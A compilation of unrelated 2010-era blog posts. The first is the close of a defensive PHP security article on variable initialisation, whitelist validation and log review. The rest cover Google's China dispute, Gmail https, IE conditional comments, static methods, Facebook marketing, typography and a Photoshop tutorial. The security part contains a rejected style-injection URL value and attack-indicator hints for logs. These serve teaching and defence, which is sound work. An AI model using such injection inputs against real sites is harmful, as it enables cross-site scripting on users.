Generally, defining all of the variables you will use before you use them is a good idea. This makes it safer even in PHP set-ups that have globals registered. The following cannot be cracked by calling the script with an authenticated parameter:

$authenticated = false;
if($_POST['username'] == 'muppet' &&
   $_POST['password'] == 'password1') {
    $authenticated = true;
}
if($authenticated) {
  // do something only admins are allowed to do
}

The demo we showed earlier makes it possible to work around this, because $authenticated was not pre-set anywhere.

Writing your own validator function is another option. For example, the color demo could be made secure by allowing only single words and numbers for the colors.

$color = 'white';
$background = 'black';
if(isset($_GET['color']) && isvalid($_GET['color'])){
  $color = $_GET['color'];
  if(ishexcolor($color)){
    $color = '#'.$color;
  }
}
if(isset($_GET['background']) && isvalid($_GET['background'])){
  $background = $_GET['background'];
  if(ishexcolor($background)){
    $background = '#'.$background;
  }
}
function isvalid($col){
  // only allow for values that contain a to z or 0 to 9
  return preg_match('/^[a-z0-9]+$/',$col);
}
function ishexcolor($col){
  // checks if the string is 3 or 6 characters
  if(strlen($col)==3 || strlen($col)==6){
    // checks if the string only contains a to f or 0 to 9
    return preg_match('/^[a-f0-9]+$/',$col);
  }
}

This allows for http://example.com/test.php?color=red&background=pink or http://example.com/test.php?color=369&background=69c or http://example.com/test.php?color=fc6&background=449933, but not for http://example.com/test.php?color=333&background=&lt/style>. This keeps it flexible for the end user but still safe to use.

If you are dealing with content that cannot be easily whitelisted, then you’ll need to filter out all the malicious code that someone could inject. This is quite the rat-race because new browser quirks are being found all the time that allow an attacker to execute code.

The most basic way to deal with this is to use the native PHP filters on anything that comes in. But a quite sophisticated package called HTML Purifier is also available.

Housekeeping

One very important part of security is keeping your server clean. If you have old, insecure code lying around, it won’t matter whether your main website is hardened and up to date with the best security measures. Your server is as vulnerable as its weakest and least-maintained code.

Check what you have on your server from time to time, and delete or move things that you are not interested in any more or couldn’t be bothered to maintain. Instead of deleting code, you could move it to a repository such as Google Code or GitHub and redirect the old folder to it.

It is also not a good idea to use the same server to test things and run a live product. Use one server as a test platform for playing around and another for grown-up stuff. It is especially important to have a different domain for each to protect your cookies.

Check Your Log Files

Every server comes with log files that you can access. Many hosting companies even give you detailed statistics that show you where visitors have gone and what they did.

Normally, we just use these to check the number of visitors, what browsers they used, where they came from, when they came and which websites were most successful. This is what makes us happy and allows us to track our progress.

That is not really the interesting part of the statistics package or log files, though:

• Check how many forms have been sent and who tried to send them. This is an indicator of CSRF and XSS attacks.
• Check the server traffic and which files were frequently called. If the forms are old and not frequently used, you have a CSRF attack on your hands.
• Search the logs for “txt?” endings, which are an indicator of RFI attacks. Try them out on your website; if they work, alarm bells should go off in your head. An exception to this is robots.txt, which is a file that search engines request before reading a folder; this is not an issue and wouldn’t be followed by a question mark anyway.
• Check the error messages and how many of them were 404 errors (”Page not found”). Check what file names people were looking for, which folders they attempted to access and what files they tried to read.
• Check which users tried to authenticate. If a user you don’t know was causing a lot of traffic, they already got control of your server.

Your log file is your snitch that tells on the bad guys who come around trying to mess with your server. Be wise and stay a step ahead of them.

Want To Know More?

If you want to know more about the subject, here are some presentations and resources. Please add more in the comments if you know of good ones.

• VirtualForge has some very nice video tutorials explaining different security threats.
• Simon Willison has a good SlideShare presentation on security fundamentals. He is also a prolific curator of security-related news.
• Things That Go Bump on the Web was my first security talk, given at last year’s Web Directions North. This is the video, and here is the slidedeck that goes with it.
• Basic Housekeeping: Plugging Obvious Security Holes In Websites was my security-related talk at last year’s Paris Web conference, covering a lot of what I’ve talked about here in detail.

(al)

© Christian Heilmann for Smashing Magazine, 2010. | Permalink | 26 comments | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine
Post tags: security

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"The Chinese government administers the Internet according to law and we have explicit stipulations over what content can be spread on the Internet," Foreign Ministry spokeswoman Jiang Yu said at a regular briefing in Beijing today. Chinese law prohibits hacking and other forms of online attacks, she said, declining to say whether that law also applies to state agencies.

"Effective guidance of public opinion on the Internet is an important way of protecting the security of online information," Wang Chen, director of the State Council Information Office, said in a question-and-answer session with reporters, a transcript of which was posted on the office’s Web site today.

Google.cn has reportedly stopped censoring its results, and many expect it to be blocked, although (at least from here in the U.S.) it is currently still accessible, and even has a doodle up.

Original Article: Google’s situation in China appears to be the biggest story to hit the tech industry in some time, at least in terms of discussion. If you’re not up to speed, we covered Google’s announcement here. What it boils down to is that Google may shut down its operations in China, where it has been censoring search results. Google is now taking the stance of no longer censoring, and the world is waiting to find out if and how China and Google can resolve the issue.

Share your two cents about the Google China situation.

It has come to light that the attacks against Google that kicked this whole thing off were part of a string of attacks against 33 companies according to iDefense (this is more than the "at least 20" Google suggested). The other companies are all unknown at this point, except Adobe. Wired Threat reports:

A hack attack that targeted Google in December also hit 33 other companies, including financial institutions and defense contractors, and was aimed at stealing source code from the companies, say security researchers at iDefense.

The hackers used a zero-day vulnerability in Adobe Reader to deliver malware to the companies and were in many cases successful at siphoning the source code they sought, according to a statement distributed Tuesday by iDefense, a division of VeriSign. The attack was similar to an attack that targeted other companies last July, the company said.

As Google noted in its announcement, it looks like a goal of the attackers was to access the Gmail accounts of Chinese Human Rights activists. Again, more on the original story here.

The U.S. government is now involved. Secretary of State Hillary Clinton issued the following statement:

We have been briefed by Google on these allegations, which raise very serious concerns and questions. We look to the Chinese government for an explanation. The ability to operate with confidence in cyberspace is critical in a modern society and economy. I will be giving an address next week on the centrality of internet freedom in the 21st century, and we will have further comment on this matter as the facts become clear.

Opinions and speculation are rapidly flying around all over the web. Some feel that Google’s move is more of a business decision than really about "not being evil" and ethics. Robert Scoble, who is "torn" on this notion, has an interesting analysis up, in which he talks about "the push and pull of China" based on his travels to the country.

Here are a few other noteworthy reactions from various blogs and news outlets:

Henry Blodget at Silicon Alley Insider:

"Google made the right decision to build a business in China a few years ago.  And it’s making the right decision now, by threatening to pull out of the country if China doesn’t relax its censorship demands. "

"Google’s decision to make a big public threat now, when it controls 15%-20% of China’s search market and is known to most Chinese Internet users, will put far more pressure on the Chinese government to relax its policies than a boycott of the country five years ago would have."

Google matters in China now. 

Jeff Jarvis at Buzz Machine:

Note that even Google’s cofounder, Sergey Brin, has waffled if not agonized over the company’s China policy.

Will the Chinese people revolt at losing Google? We can only hope. Will other companies now have to hesitate before doing the dictators’ bidding? We can only hope. Will Google be punished by Wall Street? It probably will. But as I’ve argued, we should hope that Google’s pledge, Don’t be evil, will one day be chiseled over the doors of Wall Street.

Frank Reeding at Marketing Pilgrim:

While the Chinese people are clearly in favor of Baidu as their engine of choice, if Google were to say that they will not do business in China what kind of pressure does that place on other companies to possibly isolate the biggest and fastest developing market in the world? This could get interesting.

From the New York Times:

"The whole industry will become worse," says Yu Yang, chief executive of Analysys International, a Beijing-based research firm. "As for Baidu, without competition with Google, Baidu has no motivation to innovate."

Stephen E. Arnold at Beyond Search:

"Amidst the furor of the Google – China issue, I noticed that most of the pundits ignored the global disruptive power of a Google decision. I may be one of the few—maybe the only addled goose—pointing out that Google operates like a nation-state, not a garden variety company."

Patrick Chovanec at Seeking Alpha

But in China, nobody issues an ultimatum — especially not to the government — unless they are fully expecting a final and irreconcilable break. As long as you have some hope of a favorable outcome, you bite your tongue. That’s precisely why Facebook, YouTube, and Twitter have uttered not a word of complaint, even as a six-month ban on accessing those sites has left their Chinese market share in ruins. Google’s decision to publicly throw down the gauntlet — a move sure to be seen by the Chinese government as a virtual declaration of war — is a sign the company has already written off China and is ready to pack its bags.

Philipp Lenssen at Blogoscoped quotes Google lawyer on CNBC:

When CNBC asked Google’s David Drummond in an interview, "Can you verify… that the cyber attacks were government based?”, David answered: "I want to be very careful here and be very clear. We’re not saying, one way or the other, whether these attacks were state-sponsored or done with any approval of the state. We can’t speculate on that at this point. What we do know is that they were highly organized, and we believe that the attacker came from China, and we know that political dissidents and people interested in human rights in China were clearly targeted here."

As another speculative reason, Google now fighting for an uncensored Google.cn could have been part of the original plan, too: first, get into the market and find a relevant amount of users; second, potentially use that user base leverage for discussions about free speech issues.

Rebecca MacKinnon at RConversation:

Google’s decision was tough and is going to have a great deal of difficult fallout. Still, based on what I know, I think Google has done the right thing. They are sending a very public message – which people in China are hearing – that the Chinese government’s approach to Internet regulation is unacceptable and poisonous. They are living up to their "don’t be evil" motto – much mocked of late – and living up to their commitments to free speech and privacy as a member of the Global Network Initiative.

The best way to keep up with the most recent commentary may be to follow a query like this on Twitter.

Though there has already been an incredible amount of discussion on this topic, you can pretty well guarantee that it is only the beginning. As more of the story unfolds, it’s going to be quite interesting to see how the Google China situation turns out. It is big for the search industry in China, and it is big on a government level. It will also be interesting to see what to what extent the U.S. government gets involved.

What do you think of Google’s actions? Share your thoughts in the comments.

Related Articles:

> Google May Quit China

> Gmail Switches to Default Https Encryption Following Attack

> Google Bows to Chinese Authors on Book Scanning

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CSS and Javascript issues within each version of IE present us with layout and functionality issues. Double margins, floating and absolute positioning, and lack of PNG support are probably the most frequent problems. Luckily Internet Explorer has been supporting conditional comments which allow us to target blocks of HTML toward all IE browsers or specified IE browsers.

Examples of IE Conditional Comments

<!--[if IE]>
<style type="text/css">
a		{ color:#fff; }
</style>
<![endif]-->

The example above sets the color of links to red if the browser is any flavor of Internet Explorer.

<!--[if lt IE 8]>
<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
<![endif]-->

The example above example includes the IE8.js library int the page if the version of Internet Explorer is less than 8.

<!--[if IE 6]>
<script src="DD_belatedPNG.js"></script>
<script>
  DD_belatedPNG.fix('.png');
</script>
<![endif]-->

The example above fixes PNGs if the browser is Internet Explorer 6.

Conditional Comments Syntax Table

While we all dislike Internet Explorer’s bugs, their conditional comment syntax provides us a perfect method for fixing them quickly.

Valuable Resources

• If you’d like to cut one of the browser version issues out of the equation, you can always make IE8 emulate IE7.
• Be sure to check out the MSDN documentation for Microsoft’s “official” guide.
• PPK has some awesome notes about conditional comments.

Have fun fixing your code in Internet Explorer with conditional comments!

Don’t forget to follow me on Twitter and be sure to visit Script & Style for the best Javascript and CSS articles around!

Sponsor the David Walsh Blog and get your brand in front of several thousand users per day!

IE Conditional Comments

Related posts:

1. Microsoft’s Internet Atrocities
2. The 7 Major Roadblocks That Cripple Web Developers and The Internet
3. Adding Events to Adding Events in MooTools
4. Web Predictions For 2009
5. April Fools! Change Your PHP Pages to ASP…Or Not

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Given their recent security episode in China, and the ever-expanding realm of devices and portals users can get at Gmail from, it’s probably a smart step forward to gently goad users into using a more secure connection standard. Google notes that, although using https creates a slight latency, they believe the trade-off is worth it.

If https presents a problem in your particular IT environment, you can still switch it off in your Settings. Here’s Google’s explanation:

If you’ve previously set your own https preference from Gmail Settings, nothing will change for your account. If you trust the security of your network and don’t want default https turned on for performance reasons, you can turn it off at any time by choosing “Don’t always use https” from the Settings menu. Gmail will still always encrypt the login page to protect your password. Google Apps users whose admins have not already defaulted their entire domains to https will have the same option.

Google also notes that Offline Gmail users who weren’t already using https as a default may see some issues, but they suggest a work-around.

Does a default https present problems for your own Gmail account? Happy to see the security struggle moving a step forward? Tell us your take in the comments.

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Anyway, someone posted a code fragment on the TDD mailing list, asking how to test one class in isolation that has methods that explicitly depend on static methods of another class. When you have dependencies, the typical approach in testing is to mock the dependencies so that you test the “unit” in isolation. Dependencies on static methods (and static data members) are pretty much impossible to mock without resorting to some sort of “cheating” (preprocessing the source or manipulating the compiled binary).

Folks on the list responded that this dependency was a design flaw that needed to be fixed to make the code testable. Arnauld Bailly of OQube went a little further:

Don’t use static. Static is evil. Use objects. Refactor to use objects and DI. Then your problem disappears.

Static is something that crept in Java probably because Sun wanted to market its language to C/C++ developers (just kidding, but who knows? I don’t have time to search on the web for the “right” answer).

Don’t use static (and don’t repeat yourself .

Nuno Filipe Marques also suggested refactoring to use objects rather than class statics and then rely on Dependency Injection (DI) to make the class easier to test.

Charlie Poole agreed that this is a design flaw and also criticized statics:

If your goal is that class1 should be independently testable, then it’s a design flaw. [snip]

That’s not to say that the statics are OK – IME, they bite you sooner or later. It’s a question of how soon.

The reason for this negativity is much the same as why CFCs should not depend on shared scopes (such as application and session): it introduces a hard-to-test dependency. Most CFers seem to accept the argument that allowing CFCs to depend on application and session scope (except in very tightly controlled circumstances) is a problem for both testability and maintainability.

Consider that issue when you find yourself thinking that “static” would be good to add to CFML!

As an aside, Scala has an interesting approach to this problem: instead of statics, it allows you to define a singleton object (with the same name as the class with which it is associated) – with regular methods and data members – so that you can inject it just like other objects and therefore maintain isolation for testing (and thus improve maintainability and flexibility). There’s nothing wrong with using a singleton object in place of static methods and data members on a class – don’t assume the Java way is the only way!

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Brette Borow is the President and Founder of Girls Guide To, the “ladies only” guide to life, and spends most of her days engaging with the community’s over 140,000 members.

There are over 56 million women using Facebook in the United States, and for marketers this means one very important thing –- if you have a brand, product or company that targets women, Facebook is the place to be.

Unfortunately, unless you’re a brand that every woman knows or loves, then just being on Facebook is not enough. Facebook has done a great job of giving marketers a powerful tool with its Pages product, but like most things in life, it comes down to execution. To help, here is a list of 10 tips for marketing to women on Facebook.

1. Quality Counts

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The first thing I tell marketers, whether it’s a Fortune 500 company or a friend launching an online jewelry site, is to remember that women are bombarded by marketing messages all day, every day. On the surface, Facebook is no different than the “real world” –- constantly being pitched to and spammed is annoying. The main difference between Facebook and the “real world” is that on Facebook, fans can “hide” your marketing message much more easily than they can avoid the billboard on the way to work. As a result, you are going to have to try your best to connect with them. On Facebook, quality rises to the top more often than not.

2. Create an Emotional Connection

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So quality rises to the top, but what does that mean? For starters lets take a look at what Dove has done on Facebook. Dove is one of the few brands that seems to grasp the fact that on Facebook, content really is queen and that brands must deliberately create an emotional connection with their fans. This is a great strategy to emulate because in order to reach women on Facebook, you are going to have to connect with them by providing content that women can relate to. Something that ignites a reaction like “Wow, that’s me!” will encourage women not only to respond to your messages, but actually remember them. Making an emotional connection is one of the best ways to motivate women to use your brand or service.

3. Provide Utility

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Utility should be synonymous with your brand. It will allow you to create a relationship with your fans. Create a series of posts that your fans can look forward to on a daily or weekly basis — something they will feel a real connection to and will teach them something they can use. If you run a fashion web site, for example, provide a piece of advice from a designer every Friday –- it will make it much harder for your fans to block your updates if they have something to look forward to.

4. Give Fans a Voice

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Women like to be heard. Stand out from the crowd and engage us. By creating a two-way conversation, you are personalizing your brand and making it one that can be trusted.

Your Facebook Page is also one of the best “focus groups” on the web. Not sure if you should add a product to your line? Trying to decide which functionality to add to your iPhone app? Just ask your fans. A great example of this type of interaction is H&M. They are constantly asking their fans what pieces they want to buy, what they would pay and what they want H&M to carry. This type of feedback is invaluable and brings the fan into the overall experience. Women can share their thoughts, and you can enjoy the free insight you’re receiving straight from your target consumer.

5. Listen!

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Not only do we like to be heard, we also like to know we’re actually being listened to. If a fan posts a question on your page, answer it. If she compliments your brand, thank her. And if she complains about it, address her concerns and reassure her that you’re working on fixing it. This is a great way to build trust and showcase the great customer service and support your company offers.

6. Complement Her Life, Don’t Complicate It

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If you’re doing a giveaway, running a great promotion or launching a new product, you need to keep the process simple. Cosmopolitan Magazine, for example, constantly offers giveaways and discounts, but always do it in a clear and simple way. The lesson here is not to overthink your promotions. Your fans will look forward to the next time your brand has something new and exciting to share, as long as taking advantage of the offer is relatively pain-free.

7. Don’t Be Redundant

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Unlike Twitter, where most people are following a plethora of people and information is passing by at lightning speed, Facebook has a tendency to draw attention to “spammy posts.” Facebook users do not want to see the same message posted multiple times in their feed. So if you’re promoting something through your Fan Page be sure to reword it and provide additional value before you post it a second time.

8. Keep the Shopping Experience Seamless

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You need to remember that women tend to be the CPOs (Chief Purchasing Officers) in their households, and that they tend to ask friends for advice about brands and products. Women are more than happy to share a good deal when they find one.

The Limited was one of the first brands to really grasp that Facebook represents a huge opportunity to reach their CPOs. They have started to embed actual retail offers into their newsfeed. But unlike other brands, they do not drive their traffic off of Facebook. Instead, their feed stories open up into widgets on Facebook that can handle the entire transaction right there. This clever use of technology is a prime example of ways that brands need to think outside of the box to reach their social shoppers.

9. Remember: She’s a Social Shopper

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Women also tend not to be shy about sharing their distaste about a brand or product or talking about their poor experience, so never take advantage of your fans. The last thing you want is your target demographic badmouthing your brand on a viral platform like Facebook.

Keep your offers and processes clear and honest and always respond to feedback and criticism.

10. Keep Your Fans in the Loop

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Fill your fans in on the positive but don’t be afraid to address the negative. As we all know, the web is transparent. Allow it to work in your favor. Just launched a new Android app? Let your fans be the first to know. Just got nominated for 6 Grammy Awards and want to share it with the world? Then do what Lady Gaga did and let your fans know the moment you find out. In a transparent world, you can share your news with your fans, and the sooner the better.

Last but not least, if your company is experiencing difficulties like supply shortage or a down web site, be the first to let your customers know. Be upfront and straightforward. Your honesty will speak volumes about your brand.

More Facebook resources from Mashable

- HOW TO: Build Your Personal Brand on Facebook
– Facebook Pages vs Facebook Groups: What’s the Difference?
– Why Facebook’s Privacy Changes are Detrimental to Users
– HOW TO: Integrate Facebook With Your Blog
– HOW TO: Manage a Facebook Group

Tags: brand, branding, business, facebook, facebook fan page, List, Lists, MARKETING, small business, social media, social networks

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By Aquil Akhter

Typography, the art of arranging type, type design and modifying type glyphs, is often considered as a major part of promotional material and marketing. If you use typography properly, you can not meaningfully convey the message, but also strengthen the brand of your company.

Typography has always been very inspiring and nowadays many artists experiment with type treatments to achieve inspiring, unusual and beautiful results. So, without a further ado, let’s take a look at 50 tremendous print ads that use the power of typography to communicate with potential customers.

Typography Examples in Advertising Design

Complot Creativity School – Typography Course: H

PS2: Girlfriend, 1

Nike Italy

Hahn Nitzsche Recording Studios: Kaffee

A Journey to Zero: Integrated campaign

Toyota: Efficiency

New Honda Insight

Mitchell Eye Centre: Trash

Australia Post: Hug

Nike

US Preventive Medicine / The Prevention Plan: Shark

Harley Davidson Nightster: Horsemen

US Preventive Medicine / The Prevention Plan: Cobra

Orange: SMS

Everlast: Persevere

Aspirin: Headache, 2

Adobo Magazine: Sagmeister

Complot Creativity School – Typography Course: Y

Adobo Magazine: Droga

Brighton Language School: Espanol

Amazon: Rock

Khadims Shoes: Squirrel

Feltrinelli Publisher: Berlusconi’s bubble

Panasonic DVD Theater: Boom

PS2: Girlfriend, 2

United Nations Population Fund: Population day

Brighton Language School: Deutsch

Pak-n-stor: Bedrooms

Volkswagen Touareg: Sharks

Coalition to Stop the Use of Child Soldiers: England

Regaine: Thinner

Ben & Jerry’s: Universe

Stowe Mountain Resort: Searing red streaks

Amnesty International: Ted Bundy

Valenki Boots: Toes

LOU DOILLON FOR I GOLD CAMPAIGN

LOU DOILLON FOR I GOLD CAMPAIGN

Panasonic DVD Theater: Crash

Bert & Bud’s Vintage Coffins: Mellow

Volkswagen Touareg: Vultures

D-Edge-Awards

Inlingua-Business-English

Orange

D-Edge-guest

Skinny Cow

Coca Cola

Feltrinelli Editore / Richard Overy: War

You Don’t Have To Stay Inside The Lines

Pivot Boutique: Karma

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A Logo is a graphical element that, together with its logotype (a uniquely set and arranged typeface) form a trademark or commercial brand. Typically, a logo’s design is for immediate recognition. The logo is one aspect of a company’s commercial brand, or economic or academic entity, and its shapes, colors, fonts, and images usually are different from others in a similar market. Logos are also used to identify organizations and other non-commercial entities.

These types of corporate identities are often developed by large firms who specialize in this type of work. However, if you want to save some bucks and want to design your logo then there are many sources to get logo design inspiration. Infect, we might able to help you by presenting this showcase of Highly beautiful, original and creative logo designs for your design inspiration.

All of these logos are very creative and following different trends like PhotoFill, Concealed, VariDots, Candy Stripe, Flip Flop, Sequential, but most importantly Texting which is a common element among all of them. Also, try to catch how they created using specific colors combination, typography adjustments and font selection.

You may be interested in the following design inspiration related articles as well.

• Logo Designs For Design Inspiration – Part I, Part II
• 20 Sources To Get Logo Design Inspiration
• Single Page Website Designs For Design Inspiration – Part I, Part II
• 100+ Best Web Galleries Around for Your Inspiration
• Super-Clean and Minimal Web Designs
• Showcase Of Professional Looking Website Designs

Please feel free to join us and you are always welcome to share your thoughts even if you have more reference links related to design inspiration that our readers may like.

Don’t forget to subscribe to our RSS-feed and follow us on Twitter — for recent updates.

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In an effort to increase security for Gmail users, in 2008. Google has added the option to always use HTTP Secure (HTTPS) when accessing Gmail. However, this option was disabled by default; Google’s reasoning for this was the fact that HTTPS makes your email access slower.

Now, Google has decided that internet connections for most of its users are fast and stable enough to turn this option on by default.

If you like, you can stil turn the option off; simply choose “Don’t always use https” from the Settings menu. Google will still use HTTPS on the login page, but will then switch back to unsecured connection, which could make the service a tiny bit faster. Of course, you should do this only while connected to a network that you fully trust.

Tags: email, gmail, Google, security, web

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Step ₁

We’ll create a new transparent canvass of 800 by 800 pixels. From the Tools bar, select the Pen Tool (P) and sketch out the head of our animated ‘hero’ as shown below. It doesn’t have to be perfect.

(*note: select Paths from the Pen Tool’s menu bar)

Step ₂

By right clicking the drawn shape, select Fill Path and the colour; #6c4f32 to fill the shape and name this layer “head”. To point out, for every shape drawn in this tutorial, we’ll be using the Marquee Tool (M) to clear its outline after a fill’s been applied. For example, select the whole shape with the Marquee Tool(whatever suitable shape as of the time) and press the delete key. Then press Ctrl+D to deselect the shape.

Step ₃

Create a new layer by clicking the “New Layers” icon below the Layers Palette. Name this layer “body”. Next, select the Ellipse Tool (U) and draw a tummy in an oval shape. With the Pen Tool, sketch out the arms and legs each with its own layer.You may name these layers “arm1″, “arm2″, “leg1″ and “leg2.”

Step ₄

Right click each of these sketches and fill with the colour, #6c4f32.

This is the order the layers are arranged:

Step ₅

We are now going to add a texture to all five layers.Go to Filter > Texturizer and in the dialog window, select the texture Burlap with Scaling at 103% and Relief at 3.

Step ₆

Like Ive said, apply this texture to the arms and legs of the character.This is the result. Rather flat it may seem for now.

Step ₇

I however felt that “arm1″ was a little ‘disjointed’ for me. Hit Ctrl+T for Free Transform, right click and select Distort and adjust by from the corners as shown below. But this step could be avoided by drawing this arm perfectly from the start.

Step ₈

Select the “head” layer and bring up the Layer Style menu by double clicking the layer. For the Bevel and Emboss style, enter the following:

This would add a directional light to the head of the subject.

Step ₉

For the “leg1″ layer, add an Inner Shadow Layer Style with it’s Angle at 207, Distance at 20px, Size at 13px and Noise at 31%. More importantly, have the Global Light unchecked first before making these adjustments.

Step ₁₀

Select the “Leg2″ layer and add an Inner Shadow Layer Style. Of course with Global Light unchecked first, the Inner Shadow’s angle placed at -149, Distance at15px, Size at 21px and Noise at 25%.

Step ₁₁

For your “body” layer, the Inner Shadow Layer Style parameter would look like this:

Step ₁₂

The “arm2″ Inner Shadow Layer Style:

Step ₁₃

The “arm1″ Inner Shadow Layer Style:

Step ₁₄

Select the “head” layer and duplicate it by right clicking it and choosing the Duplicate Layer option to do so. Then go on ahead to add a new Layer Style for it as shown below:

Now we’re giving the figure a little more dimension.

Step ₁₅

In a new layer, draw with the Line Tool or (any prefered tool of choice), a mouth at the lower base of the head.

Step ₁₆

For another layer, draw two straight eyebrows and apply a Drop Shadow Layer Style to it.

Step ₁₇

For the eyes, in a new layer, draw two round shapes right below the eyebrows making it intersects at points of each brow. Note that the right eye should be a lot more rounded and left eyes a little more
stretched in appearance. By pressing Crtl+T and right clicking to select Warp, have the eyes positioned as shown below.You can see that the left eye has a slight tilt upwards and the right eye is fairly bent at an angle towards the left.

Step ₁₈

Have the “mouth”, “eyebrows” and “eyes” layers selected accordingly and merge with the “head” layer. Go to Layer > Merge Down or simply hit Ctrl + E to do so.That done, Select Edit > Transform > Warp and only just slightly adjust the handles of the warp and the end result would be a head with a a more 3D look.

Step ₁₉

In a new layer, select a soft brush at a size of 3px.With closely dotted application of the brush to the eyes, have the brush concentrated on the upper part of the eyes.

Step ₂₀

Create a new layer and select the a Splatter brush – 24px and a black foreground colour. Delicately paint the face as shown below. There however are two methods you can use to clear the areas the brush overlaps. First, you can use the Eraser Tool (E) or select the layer while holding down the ALT key. Do this when done painting.

Step ₂₁

Proceed to paint parts of the arms, body and legs.

Step ₂₂

Still with the Splatter brush, change the brush colour to #d9bf9b. Across our subject’s forehead, draw a near-crooked slanted line with the brush and also use the brush to trace out the bulge over the eyes for an angry look.Continue to apply the brush around the eyes and line that forms the mouth.

Step ₂₃

Still with the same brush, paint over the portions encircled below, you may paint round other parts of the figure until you satisfied the figure is appropriately highlighted towards the direction of light

The final outcome.

Step ₂₄

Add a new layer for the zipper, select the Rectangle Tool and draw intersecting rows of rectangles in the shapes of ‘Ys’. Fill the these shapes with a white colour and deselect afterwards (when their outlines have been cleared). Hit Ctrl+T and right click to select the Warp option. Bend slightly the zipper to the right.

Step ₂₅

Now apply a Layer Style to the zipper.With the Bevel and Emboss’s Depth at a 100%, size at 3px and no Soften.

The zipper embossed:

Step ₂₆

With the Ellipse Tool, draw an oval circle at the top of the zipper and use the Layer Style below:

Step ₂₇

Choose the Rounded Rectangle Tool with a rounded corners at 2 px. Draw over the circle and use the same Layer Style as the zipper’s. With a follow up, draw a handle in a something of a quadrilateral and apply a Bevel and Emboss Layer Style to it.

Step ₂₈

There you have it.

Step ₂₉

Being a “Sackboy”, the neck should appear roughen at its end.

Step ₃₀

Add an Outer Glow style to the roughened neck and set the colour of the glow as #a58553 and it’s gradient reduced to an opacity of about 30%.

Do a follow up of this for the joints of the hips as well.

Step ₃₁

Drag the “ground” texture to your workspace and resize as appropriate.This texture is credited to www.mega-tex.nl.

Step ₃₂

Use a Free Transform (Ctrl+T) to scale the “ground” texture for the ground surface.

Step ₃₃

In a new layer, draw a square that would serve as your sky and next, select the Gradient Tool (G). On the Gradient menu, choose a Radial Gradient and check Reverse. Edit the Gradient adding the following colours below. That done, draw your Gradient from above the head of ‘Sackboy’ to just below his left-hand side.This would be something like a diagonal line.

Step ₃₄

Select the “ground” layer and apply a Gradient Overlay to it via Layer Style.

Don’t forget to reduce the Gradient’s opacity to about 35% and have it’s Scale set to 70%.

Step ₃₅

We’re going to going to paint a shadow beneath the character with a Splatter brush in a new layer. The Blend Mode of the brush should be set to Soft Light and shadow should have its edges with a lot less details.

Step ₃₆

Select the Rectangular Marquee Tool and select the upper edge of the ground texture and have it feathered at 5px.

The result would give the ground something like a horizon.

Step ₃₇

Create a new layer and then go to Filter > Render >Clouds. Desaturate the “clouds” layer by pressing Shift+Ctrl+U.

Step ₃₈

Still on the “clouds” layer, go to Image >Adjustments >Brightness/Contrast. Increase the contrast of the Clouds to +50.

Step ₃₉

On the Layers Palette, set the Fill  Opacity of the “sky” layer to about 50%. Note that this layer should be above the “clouds” layer.

Step ₄₀

Create a “clouds2″ layer, select the Brush Tool and choose the Odysee brush by Axeraider70 from Deviantart. Set the brush size to 626px and its Blend Mode to
Soft Light and make the first brush strokes more pronounced. and the couple that follows quite faint.

Step ₄₁

From the Tools bar, pick the Smudge Tool (R) and with swipes, stretch both ends of the cloud outwards and at certain points inwards.

Step ₄₂

Pick the Blur tool (R) and use it to fade the edges of the cloud most particularly at its base in other for it to blend properly against the blue sky. When done, merge (Ctrl+E) the “sky” layer with the “clouds2″ layer.

Step ₄₃

Go to Filter > Render > Lens Flare and drag the flare to the upper right part of the preview window and the len’s midpoint around the middle of the preview window.

Step ₄₄

With the Eraser Tool (E) as a Splatter brush, trim off bits of the wavy neck on both ends.

.

Step ₄₅

With the Splatter brush yet again, choose it’s colour as #ecf3f8. I have to point out that, this colour has a faint bluish tint to it.

Step ₄₆

Use the Burn Tool (O) and apply over the bottom part of the zipper to conform with the gradation of light.

Step ₄₇

For the distant hills (in a new layer), select a square brush (if available) or a round brush will do just fine. Use for the brush colour; #a9a087 first and then followed by a colour; #51504d. Reduce the opacity of the “hills’ layer to 50%.

Step ₄₈

Voila! It’s alive!!! Well, in the graphic point of view.

By David Ella Ella

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• unity
• gestalt
• space
• dominance
• hierarchy
• balance
• color